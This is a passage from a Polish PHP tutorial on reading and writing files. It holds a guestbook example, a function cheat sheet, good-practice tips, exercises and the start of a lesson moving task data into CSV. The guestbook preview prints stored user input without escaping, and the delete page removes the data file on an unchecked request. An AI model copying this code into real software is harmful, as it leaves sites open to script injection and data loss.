    $fp = fopen($file, "a");
    
    if ($fp === false) {
        die('Błąd otwarcia pliku');
    }
    
    flock($fp, LOCK_EX);        // blokada
    fwrite($fp, $dane);          // zapis
    fflush($fp);                 // wymuś zapis
    flock($fp, LOCK_UN);         // odblokuj
    fclose($fp);
    
    echo '&lt;!DOCTYPE html>
    &lt;html lang="pl">
    &lt;head>
        &lt;meta charset="UTF-8">
        &lt;title>Sukces&lt;/title>
        &lt;style>
            body { font-family: Arial; max-width: 600px; margin: 50px auto; }
            .success { background: #d4edda; padding: 15px; border: 1px solid #c3e6cb; }
            a { color: #007bff; }
        &lt;/style>
    &lt;/head>
    &lt;body>
        &lt;div class="success">
            &lt;h2>Dane zostały zapisane!&lt;/h2>
        &lt;/div>
        &lt;p>&lt;a href="podglad.php">Zobacz wszystkie wpisy&lt;/a>&lt;/p>
        &lt;p>&lt;a href="index.php">Dodaj kolejny wpis&lt;/a>&lt;/p>
    &lt;/body>
    &lt;/html>';
}</code></pre>



<p class="wp-block-paragraph"><strong>podglad.php:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Podgląd wpisów&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .wpis {
            background: #f8f9fa;
            padding: 15px;
            margin: 15px 0;
            border-left: 4px solid #007bff;
        }
        .tytul {
            font-size: 1.2em;
            font-weight: bold;
            color: #007bff;
            margin-bottom: 10px;
        }
        .tresc {
            color: #333;
            line-height: 1.6;
        }
        .nav {
            margin: 20px 0;
        }
        a {
            display: inline-block;
            margin-right: 10px;
            padding: 10px 15px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 4px;
        }
        a:hover {
            background: #0056b3;
        }
        .danger {
            background: #dc3545;
        }
        .danger:hover {
            background: #c82333;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h2&gt;<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Wszystkie wpisy&lt;/h2&gt;
    
    &lt;?php
    if (!file_exists('baza.txt') || filesize('baza.txt') == 0) {
        echo '&lt;p&gt;Brak wpisów w bazie.&lt;/p&gt;';
    } else {
        $file = file('baza.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        foreach ($file as $nr =&gt; $value) {
            // Rozdziel po znaku `
            $exp = explode('`', $value);
            
            if (count($exp) &gt;= 2) {
                echo '&lt;div class="wpis"&gt;';
                echo '&lt;div class="tytul"&gt;' . ($nr + 1) . '. ' . $exp&#91;0] . '&lt;/div&gt;';
                echo '&lt;div class="tresc"&gt;' . nl2br($exp&#91;1]) . '&lt;/div&gt;';
                echo '&lt;/div&gt;';
            }
        }
    }
    ?&gt;
    
    &lt;div class="nav"&gt;
        &lt;a href="index.php"&gt;Dodaj kolejne dane&lt;/a&gt;
        &lt;a href="del.php" class="danger" onclick="return confirm('Czy na pewno usunąć wszystkie dane?')"&gt;Usuń plik&lt;/a&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph"><strong>del.php:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Usuń plik
if (file_exists('baza.txt')) {
    if (unlink('baza.txt')) {
        $message = 'Plik został usunięty';
        $class = 'success';
    } else {
        $message = 'Błąd podczas usuwania pliku';
        $class = 'error';
    }
} else {
    $message = 'Plik nie istnieje';
    $class = 'warning';
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Usuwanie pliku&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .message {
            padding: 15px;
            margin: 20px 0;
            border-radius: 4px;
        }
        .success {
            background: #d4edda;
            border: 1px solid #c3e6cb;
            color: #155724;
        }
        .error {
            background: #f8d7da;
            border: 1px solid #f5c6cb;
            color: #721c24;
        }
        .warning {
            background: #fff3cd;
            border: 1px solid #ffeeba;
            color: #856404;
        }
        a {
            display: inline-block;
            margin-top: 20px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 4px;
        }
        a:hover {
            background: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class="message &lt;?= $class ?&gt;"&gt;
        &lt;h2&gt;&lt;?= $message ?&gt;&lt;/h2&gt;
    &lt;/div&gt;
    
    &lt;a href="index.php"&gt;Powrót do formularza&lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Tabela funkcji &#8211; szybka ściąga</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kategoria</th><th>Funkcja</th><th>Opis</th></tr></thead><tbody><tr><td><strong>Sprawdzanie</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_exists()</code></td><td>Czy plik/katalog istnieje</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code></td><td>Czy to plik</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code></td><td>Czy można odczytać</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">is_writable()</code></td><td>Czy można zapisać</td></tr><tr><td><strong>Otwieranie/Zamykanie</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code></td><td>Otwórz plik</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code></td><td>Zamknij plik</td></tr><tr><td><strong>Zapis tradycyjny</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fwrite()</code>&nbsp;/&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">fputs()</code></td><td>Zapisz dane</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fflush()</code></td><td>Wymuś zapis na dysk</td></tr><tr><td><strong>Zapis nowoczesny</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code></td><td>Zapisz (1 linijka)</td></tr><tr><td><strong>Odczyt tradycyjny</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fread()</code></td><td>Odczytaj N bajtów</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code></td><td>Odczytaj linię</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetc()</code></td><td>Odczytaj znak</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">feof()</code></td><td>Koniec pliku?</td></tr><tr><td><strong>Odczyt nowoczesny</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents()</code></td><td>Odczytaj cały plik</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">file()</code></td><td>Odczytaj do tablicy</td></tr><tr><td><strong>Blokowanie</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">flock()</code></td><td>Zablokuj/odblokuj</td></tr><tr><td><strong>Operacje</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code></td><td>Usuń plik</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code></td><td>Kopiuj plik</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code></td><td>Zmień nazwę/przenieś</td></tr><tr><td><strong>Informacje</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">filesize()</code></td><td>Rozmiar pliku</td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">filemtime()</code></td><td>Data modyfikacji</td></tr><tr><td><strong>Wskaźnik</strong></td><td></td><td></td></tr><tr><td></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rewind()</code></td><td>Cofnij na początek</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Dobre praktyki</h2>



<h3 class="wp-block-heading">1. Zawsze sprawdzaj wynik operacji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// ŹLE
$plik = fopen('dane.txt', 'r');
$zawartosc = fread($plik, 100);

// DOBRZE
$plik = fopen('dane.txt', 'r');
if ($plik === false) {
    die('Błąd otwarcia pliku');
}
$zawartosc = fread($plik, filesize('dane.txt'));
fclose($plik);</code></pre>



<h3 class="wp-block-heading">2. Używaj file_put_contents() dla prostych operacji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// ŹLE - zbyt skomplikowane
$plik = fopen('log.txt', 'a');
fwrite($plik, 'wpis');
fclose($plik);

// DOBRZE - prosty i czytelny
file_put_contents('log.txt', 'wpis', FILE_APPEND);</code></pre>



<h3 class="wp-block-heading">3. Zawsze używaj flock() dla współbieżności</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// ŹLE - ryzyko utraty danych
$fp = fopen('licznik.txt', 'r+');
$liczba = fgets($fp);
$liczba++;
rewind($fp);
fwrite($fp, $liczba);
fclose($fp);

// DOBRZE - bezpieczne
$fp = fopen('licznik.txt', 'r+');
flock($fp, LOCK_EX);
$liczba = fgets($fp);
$liczba++;
rewind($fp);
fwrite($fp, $liczba);
fflush($fp);
flock($fp, LOCK_UN);
fclose($fp);</code></pre>



<h3 class="wp-block-heading">4. Waliduj dane przed zapisem</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// ŹLE
$dane = $_POST&#91;'dane'];
file_put_contents('plik.txt', $dane);

// DOBRZE
$dane = trim($_POST&#91;'dane']);

if (empty($dane)) {
    die('Dane nie mogą być puste');
}

file_put_contents('plik.txt', $dane);</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> nie jest walidacją i nie służy do przygotowania danych do zapisu. Stosujemy ją dopiero przy wyświetlaniu danych z pliku (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo htmlspecialchars($linia);</code> z przykładu z <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets</code>).</p>



<h3 class="wp-block-heading">5. Używaj try-catch dla krytycznych operacji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    if (!file_exists('config.ini')) {
        throw new Exception('Plik konfiguracyjny nie istnieje');
    }
    
    $config = file_get_contents('config.ini');
    
    if ($config === false) {
        throw new Exception('Błąd odczytu pliku');
    }
    
    // ... przetwarzanie ...
    
} catch (Exception $e) {
    error_log($e-&gt;getMessage());
    die('Błąd aplikacji');
}</code></pre>



<h2 class="wp-block-heading">Podsumowanie</h2>



<h3 class="wp-block-heading"><strong>Kluczowe pojęcia:</strong></h3>



<ul class="wp-block-list">
<li><strong>fopen/fclose</strong>&nbsp;&#8211; tradycyjne otwieranie/zamykanie plików</li>



<li><strong>fread/fgets/fgetc</strong>&nbsp;&#8211; różne metody odczytu</li>



<li><strong>fwrite/fputs</strong>&nbsp;&#8211; zapis danych</li>



<li><strong>flock</strong>&nbsp;&#8211; blokowanie dla współbieżności</li>



<li><strong>file_put_contents/file_get_contents</strong>&nbsp;&#8211; nowoczesne, szybkie metody</li>
</ul>



<h3 class="wp-block-heading"><strong></strong><strong>Tryby otwierania:</strong></h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code>&nbsp;&#8211; odczyt (plik musi istnieć)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>&nbsp;&#8211; zapis (nadpisuje/tworzy)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>&nbsp;&#8211; dopisywanie (na końcu)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code>&nbsp;&#8211; tworzenie (błąd jeśli istnieje)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">+</code>&nbsp;&#8211; odczyt i zapis</li>
</ul>



<h3 class="wp-block-heading"><strong></strong><strong>Pamiętaj:</strong></h3>



<ul class="wp-block-list">
<li>Zawsze zamykaj pliki&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code></li>



<li>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">flock()</code>&nbsp;dla współbieżnego dostępu</li>



<li>Preferuj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code>&nbsp;dla prostych operacji</li>



<li>Sprawdzaj wynik operacji (może być&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>)</li>



<li>Waliduj dane przed zapisem</li>



<li>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code>&nbsp;do dopisywania</li>



<li>Nie ufaj danym użytkownika</li>



<li>Nie zapomnij o&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">fflush()</code>&nbsp;przy blokadach</li>
</ul>



<h3 class="wp-block-heading"><strong>Najważniejsze funkcje:</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Proste operacje
file_put_contents()  // zapis
file_get_contents()  // odczyt
file()              // odczyt do tablicy

// Zaawansowane
fopen()    // otwórz
fwrite()   // zapisz
fread()    // czytaj
flock()    // zablokuj
fclose()   // zamknij

// Pomocnicze
file_exists()  // czy istnieje
filesize()     // rozmiar
filemtime()    // data modyfikacji
copy()         // kopiuj
rename()       // zmień nazwę
unlink()       // usuń</code></pre>



<h2 class="wp-block-heading"><strong>Zadania </strong>do wykonania:</h2>



<h3>Zadanie 1</h3>
<p>Generowanie i analiza losowych liczb z zapisem do pliku.</p>
<p><strong>Wymagania:</strong></p>
<ol>
<li>Wygeneruj 20 losowych liczb (1-100)</li>
<li>Zapisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">liczby.txt</code> z blokowaniem</li>
<li>Odczytaj i oblicz:
<ul>
<li>sumę</li>
<li>średnią</li>
<li>min i max</li>
<li>liczby parzyste/nieparzyste</li>
</ul>
</li>
<li>Zapisz statystyki do <code class="prettyprint lang-sql" style="font-size: 0.85em;">statystyki.txt</code></li>
</ol>
<h3>Zadanie 2</h3>
<p>Losowanie liczb w stylu Lotto z zapisem.</p>
<p><strong>Wymagania:</strong></p>
<ol>
<li>Wygeneruj 6 unikalnych liczb (1-49)</li>
<li>Pobierz aktualną datę</li>
<li>Zapisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">liczby.txt</code> w formacie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">2025-10-13 15:20:00 wylosowano liczby: 3, 15, 22, 31, 42, 45</code></li>
<li>Odczytaj i wyświetl zawartość</li>
</ol>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest v1.1 — dane żyją poza kodem</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 10 TaskQuest ma porządek w kodzie, ale lista zadań nadal jest <strong>częścią programu</strong> — leży w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> jako tablica PHP. Żeby zmienić termin jednego zadania, trzeba edytować kod. Jeden zgubiony przecinek i cała aplikacja przestaje działać.</p>



<p class="wp-block-paragraph">Dziś oddzielamy <strong>dane</strong> od <strong>programu</strong>: zadania trafią do zwykłego pliku tekstowego, który TaskQuest odczytuje przy każdym uruchomieniu.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć TaskQuest:</p>



<ul class="wp-block-list">
<li>otwierać, czytać, zapisywać i zamykać pliki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fwrite()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>) oraz rozumieć tryby <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>,</li>



<li>sprawdzać, czy plik da się odczytać (<code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code>) i reagować, gdy się nie da,</li>



<li>zapisywać i odczytywać dane tabelaryczne w formacie CSV (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code>),</li>



<li>zamieniać tekst z pliku z powrotem na dane o właściwych typach (<code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>).</li>
</ul>



<p class="wp-block-paragraph">Efekt: <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> znika, a jego miejsce zajmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. Funkcje z Lekcji 9 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> itd.) działają dalej <strong>bez żadnej zmiany</strong>, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> ma dokładnie tę samą strukturę.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong> po tej lekcji TaskQuest <strong>odczytuje</strong> zadania z pliku i <strong>potrafi je zapisać</strong> (funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>), ale użytkownik nie ma jeszcze jak tego zrobić z poziomu strony — zapis wywołujemy z kodu (migracja danych, testy). Formularz dodawania zadania pojawi się w Lekcji 13. Dane grywalizacji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code>) nadal są zapisane na sztywno w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — to nadal symulacja.</p>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 10</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>Czym różni się <code class="prettyprint lang-sql" style="font-size: 0.85em;">require</code> od <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> i którego używamy dla plików z funkcjami?</li>



<li>Co przechowuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code> w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>?</li>



<li>Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">scandir()</code> oprócz nazw plików i jak radzi sobie z tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">listaPlikowWKatalogu()</code>?</li>



<li>Dlaczego w plikach zawierających wyłącznie PHP nie zamykamy tagu <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Mamy aplikację wieloplikową: konfigurację, funkcje w osobnych plikach, szkielet strony, dane zadań i stronę diagnostyczną. <strong>Wszystkie zmienne i funkcje z Lekcji 10 zostają.</strong></p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: zadania z pliku)
├── diagnostyka.php                  (zmiana: nowe pliki na liście)
├── migracja.php                     (nowe — jednorazowe, na końcu lekcji usuniemy)
├── config/
│   └── config.php                   (zmiana: dochodzi PLIK_ZADAN)
├── includes/
│   ├── header.php
│   ├── footer.php                   (zmiana: "TaskQuest 1.1")
│   ├── funkcje_grywalizacji.php
│   ├── funkcje_tekstowe.php
│   ├── funkcje_terminow.php
│   ├── funkcje_zadan.php
│   ├── funkcje_diagnostyczne.php
│   └── funkcje_plikow.php           (nowe)
└── data/
    └── zadania.csv                  (nowe — zastępuje zadania.php)</code></pre>



<h3 class="wp-block-heading">Co gdzie trafi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Zawartość</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></td><td>stała <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code> — ścieżka do pliku z zadaniami</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></td><td>zadania jako zwykły tekst: jedno zadanie = jedna linia</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code></td><td>jednorazowe przepisanie starej tablicy do CSV</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> całego katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 10 — np. jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja10/</code> (obok, nie w środku). Przyda się do testu regresji.</li>



<li>Uruchom <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i zapamiętaj (lub zrób zrzut), jak wygląda strona.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama chce dodać do TaskQuest nowe zadanie. Otwiera <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code>, dopisuje blok w nawiasach kwadratowych, zapomina przecinka — i cała strona wyświetla <code class="prettyprint lang-sql" style="font-size: 0.85em;">Parse error</code>. Zmieniła jedno zadanie, a <strong>zepsuła cały program</strong>.</p>



<p class="wp-block-paragraph">Jest też problem na przyszłość: gdy pojawią się formularze (Lekcja 13), aplikacja będzie musiała dopisywać zadania sama. Program, który przepisuje własny kod, to bardzo zły pomysł.</p>



<p class="wp-block-paragraph">Potrzebujemy:</p>



<ol class="wp-block-list">
<li>miejsca na dane, które <strong>nie jest kodem</strong> — pliku, który można otworzyć w edytorze i poprawić,</li>



<li>sposobu, żeby PHP <strong>odczytało</strong> ten plik i zamieniło go z powrotem na tablicę <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>,</li>



<li>sposobu, żeby PHP potrafiło ten plik <strong>zapisać</strong>.</li>
</ol>



<h1 class="wp-block-heading">3. Nowy mechanizm PHP: praca z plikami</h1>



<h2 class="wp-block-heading">3.1 Trzy kroki: otwórz → działaj → zamknij</h2>



<p class="wp-block-paragraph">Każda praca z plikiem wygląda tak samo:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()  →  czytanie lub pisanie  →  fclose()</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwraca <strong>uchwyt</strong> — coś w rodzaju zakładki w otwartym pliku. Wszystkie kolejne funkcje dostają ten uchwyt i wiedzą, na którym pliku mają pracować.</p>



<p class="wp-block-paragraph">Trzeci argument — <strong>tryb</strong> — mówi, co zamierzasz robić:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tryb</th><th>Co robi</th><th>Gdy pliku nie ma</th><th>Uwaga</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code></td><td>tylko odczyt</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>plik nietknięty</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code></td><td>zapis od zera</td><td>plik jest <strong>tworzony</strong></td><td><strong>od razu kasuje całą dotychczasową zawartość</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code></td><td>dopisywanie na końcu</td><td>plik jest tworzony</td><td>dotychczasowa zawartość zostaje</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Utwórz w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> plik brudnopisu <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>.</p>



<p class="wp-block-paragraph"><strong>Zapis:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$uchwyt = fopen(__DIR__ . '/dziennik.txt', 'w');
fwrite($uchwyt, "Start TaskQuest\n");
fclose($uchwyt);</code></pre>



<p class="wp-block-paragraph">Uruchom, a potem otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code> w edytorze. Jest w nim jedna linia. <code class="prettyprint lang-sql" style="font-size: 0.85em;">\n</code> to znak nowej linii — bez niego kolejne zapisy zlepiłyby się w jedną linię.</p>



<p class="wp-block-paragraph"><strong>Odczyt</strong> (zastąp kod w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$uchwyt = fopen(__DIR__ . '/dziennik.txt', 'r');

while (($linia = fgets($uchwyt)) !== false) {
    echo trim($linia) . "&lt;br&gt;";
}

fclose($uchwyt);</code></pre>



<p class="wp-block-paragraph">Co tu się dzieje?</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets($uchwyt)</code> czyta <strong>jedną linię</strong> i przesuwa „zakładkę” dalej. Gdy plik się skończy, zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</li>



<li>W nawiasie jest przypisanie <strong>i</strong> porównanie naraz: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">$linia = fgets(...)</code>, potem wynik jest porównywany z <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</li>



<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">!== false</code>, a nie samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($linia = fgets(...))</code>? Bo ostatnia linia pliku może mieć treść <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code> w warunku jest traktowane jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> — pętla zatrzymałaby się o linię za wcześnie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">!== false</code> jest odporne na taki przypadek.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code> zostawia na końcu linii znak <code class="prettyprint lang-sql" style="font-size: 0.85em;">\n</code>, dlatego czyścimy go przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>.</li>
</ul>



<h2 class="wp-block-heading">3.2 Plik może się nie otworzyć</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> nie zawsze się udaje: plik może nie istnieć, może brakować uprawnień, ścieżka może być błędna. Wtedy funkcja zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (i wyświetla ostrzeżenie), a dalsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets()</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> to już zupełnie inny, gorszy błąd.</p>



<p class="wp-block-paragraph">Dlatego zawsze:</p>



<ol class="wp-block-list">
<li><strong>przed otwarciem</strong> sprawdzamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code> (z Lekcji 10 — czy to plik) oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code> (czy PHP ma prawo go czytać),</li>



